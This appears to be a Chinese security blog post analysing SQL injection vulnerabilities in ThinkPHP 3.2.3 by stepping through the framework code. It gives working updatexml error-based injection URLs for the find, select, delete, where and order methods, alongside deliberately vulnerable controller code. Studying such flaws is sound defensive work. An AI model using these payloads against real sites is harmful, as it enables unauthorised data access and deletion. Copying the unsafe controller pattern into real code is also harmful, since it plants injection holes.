【SQL注入】ThinkPHP3.2.3存在的SQL注入漏洞解析

本文最后更新于:2022年2月27日下午2点54分

环境配置

基础环境介绍

  • PHPstorm,MAMP Pro,MySQL
  • ThinkPHP版本:V3.2.3

debug模式配置

  • ThinkPHP/Conf/debug.php中,将DB_DEBUG设置为true,开启调试模式
  • index.php处设置define('APP_DEBUG', true);

数据库相关配置

image-20220225193731384

数据库中内容如下:

image-20220225193756153

find方法

payload

1
?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) #

漏洞分析

新建Application/Home/Controller/HelloController.class.php控制器,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index(){
var_dump(I('GET.id'));
$data = M('user')->find(I('GET.id'));
var_dump($data);
}
}

在PHPstorm中开启调试侦听链接,浏览器访问URL:

1
index.php?m=Home&c=Hello&a=index&id[where]=3 and 1=updatexml(1,concat(0x7e,(version()),0x7e),1)#

其中var_dump(I('GET.id'));输出如下:

1
2
3
/Users/Lxxx/Sites/tp323/Application/Home/Controller/HelloController.class.php:9:
array (size=1)
'where' => string '3 and 1=updatexml(1,concat(0x7,(version()),0x7e),1)' (length=51)

I函数作用就是配置传入参数名称以及传入参数的方式

接下来跟进find函数,在ThinkPHP/Library/Think/Model.class.php:721下一个断点

image-20220227121534317

然后在同个文件中ThinkPHP/Library/Think/Model.class.php:759下一个断点

image-20220227121952877

跟进select方法,方法位于ThinkPHP/Library/Think/Db/Driver.class.php:942

在该方法中会生成相应的SQL语句并执行

image-20220227122249709

跟进buildSelectSql,方法位于ThinkPHP/Library/Think/Db/Driver.class.php:956

image-20220227122927431

此时$this->selectSql的值为

1
SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%

其中parseSql方法执行一个替换的操作,跟进parseSql方法看一看

image-20220227124749868

跟进parseWhere看看

image-20220227125007157

到这里全程没有对用户的输入进行一个过滤,替换后的SQL语句如下:

1
SELECT * FROM `tp_user` WHERE 3 and 1=updatexml(1,concat(0x7e,(version()),0x7e),1) LIMIT 1  

最后执行再将执行报错的结果输出

select方法

payload:

1
2
3
4
5
6
7
8
table
index.php?m=Home&c=Hello&a=index&id[table]=tp_user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

alias
index.php?m=Home&c=Hello&a=index&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

where
index.php?m=Home&c=Hello&a=index&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index(){
$data = M('user')->select(I('GET.id'));
var_dump($data);
}
}

delete方法

payload:

1
2
3
4
5
where
index.php?m=Home&c=Hello&a=index&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

table
index.php?m=Home&c=Hello&a=index&id[table]=tp_user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index(){
$data = M('user')->delete(I('GET.id'));
var_dump($data);
}
}

where方法

payload:

1
index.php?m=Home&c=Hello&a=index&id[0]=1&id[1]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index(){
$data = M('user')->where(I('GET.id'))->find();
var_dump($data);
}
}

order方法

payload:

1
index.php?m=Home&c=Hello&a=index&order[updatexml(1,concat(0x3a,user()),1)]

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index(){
$User = M("User");
$order_by = I('get.order');
$q = $User->where('id','1')->order($order_by)->find();
var_dump($q);
}
}

参考资料